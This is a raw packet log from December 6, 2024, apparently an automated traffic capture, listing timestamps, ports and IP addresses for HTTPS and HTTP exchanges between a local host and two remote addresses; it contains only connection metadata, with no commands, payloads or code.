Dec 6, 2024 18:45:50.038497925 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.038515091 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.038569927 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.038575888 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.038609982 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.038748026 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.038764000 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.038845062 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.038852930 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.038923025 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.041182995 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.041203022 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.041246891 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.041251898 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.041290998 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.045084000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.045156002 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.045207977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.045357943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.045406103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.045456886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.045497894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.046448946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.046582937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.047132015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.047146082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.047184944 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.047827959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.047879934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.047882080 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.048095942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.048929930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.048981905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.048985958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.049021006 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.050060987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.050081968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.050128937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.050148964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.050971985 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.050987959 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.051063061 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.051070929 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.051074028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.051085949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.051100969 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.051111937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.051114082 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.051132917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.051666975 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.051687002 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.051734924 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.051742077 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.051768064 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.051789999 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.052201986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.052220106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.052242041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.052259922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.053278923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.053297043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.053455114 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.053774118 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.053795099 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.053836107 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.053842068 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.053874016 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.053888083 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.054342031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.054394007 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.054482937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.054517031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.055393934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.055437088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.055438042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.055660009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.056437969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.056449890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.056482077 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.056497097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.057521105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.057568073 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.057605982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.057643890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.058702946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.058715105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.058752060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.059725046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.059768915 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.059817076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.059917927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.060728073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.060771942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.060851097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.060883999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.061836958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.061886072 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.061889887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.062073946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.062688112 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.062705994 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.062740088 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.062746048 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.062779903 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.062793970 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.062840939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.062922001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.062953949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.063052893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.063074112 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.063088894 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.063117981 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.063123941 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.063149929 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.063172102 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.063975096 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.064003944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.064017057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.064018965 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.064029932 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.064033985 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.064066887 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.064068079 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.064095020 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.065120935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.065135002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.065165043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.065179110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.066097975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.066137075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.066211939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.066250086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.067131042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.067178011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.067358971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.067403078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.068238974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.068310976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.068336964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.068352938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.069336891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.069380999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.069427967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.069490910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.070404053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.070409060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.070450068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.071505070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.071506977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.071547985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.072460890 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.072477102 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.072535992 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.072544098 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.072601080 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.072623014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.072681904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.072773933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.072851896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.073622942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.073668003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.073754072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.073800087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.074064970 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.074085951 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.074115992 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.074121952 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.074147940 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.074166059 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.074748039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.074765921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.074794054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.074816942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.075726986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.075767994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.076159954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.076380968 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.076397896 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.076415062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.076448917 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.076456070 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.076494932 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.076991081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.077003002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.077052116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.078058958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.078071117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.078113079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.079024076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.079036951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.079066992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.079080105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.080221891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.080235958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.080399990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.081180096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.081293106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.081338882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.082259893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.082279921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.082303047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.082328081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.082983971 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.082998991 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.083051920 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.083058119 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.083070993 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.083091021 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.083364964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.083501101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.083544970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.084363937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.084407091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.084409952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.084464073 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.084736109 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.084764004 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.084796906 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.084803104 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.084826946 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.084841013 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.085395098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.085434914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.085931063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.086128950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.086464882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.086505890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.086517096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.086555958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.087558985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.087603092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.087677002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.087807894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.088707924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.088722944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.088751078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.088754892 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.088766098 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.088773966 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.088793993 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.088799000 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.088824987 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.088854074 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.089736938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.089749098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.089791059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.090787888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.090831041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.091470003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.091515064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.091845989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.091882944 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.091967106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.092010975 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.092936039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.092948914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.092988968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.093578100 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.093595028 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.093641996 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.093648911 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.093686104 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.093686104 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.094036102 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.094104052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.094150066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.095200062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.095251083 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.095274925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.095331907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.096146107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.096205950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.096571922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.096729040 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.097265959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.097387075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.097605944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.097645998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.098319054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.098331928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.098362923 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.098376036 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.099499941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.099545002 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.099591970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.099630117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.100414038 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.100455046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.100752115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.100790977 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.101653099 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.101670027 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.101705074 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.101711035 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.101747036 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.101758957 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.102828026 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.102842093 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.102910042 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.102910042 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.102917910 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.102978945 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.174148083 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.174175978 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.174232960 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.174258947 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.174273968 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.174298048 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.199551105 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.199582100 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.199625015 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.199639082 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.199654102 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.200153112 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.208218098 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.208240986 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.208276033 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.208281040 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.208309889 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.208324909 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.212699890 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.212723017 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.212791920 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.212804079 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.212829113 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.212867022 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.216859102 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.216881037 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.216926098 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.216934919 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.216967106 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.216985941 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.217714071 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.217735052 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.217788935 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.217796087 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.217824936 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.217844963 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.222712994 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.222732067 CET	443	49815	150.171.27.10	192.168.2.6
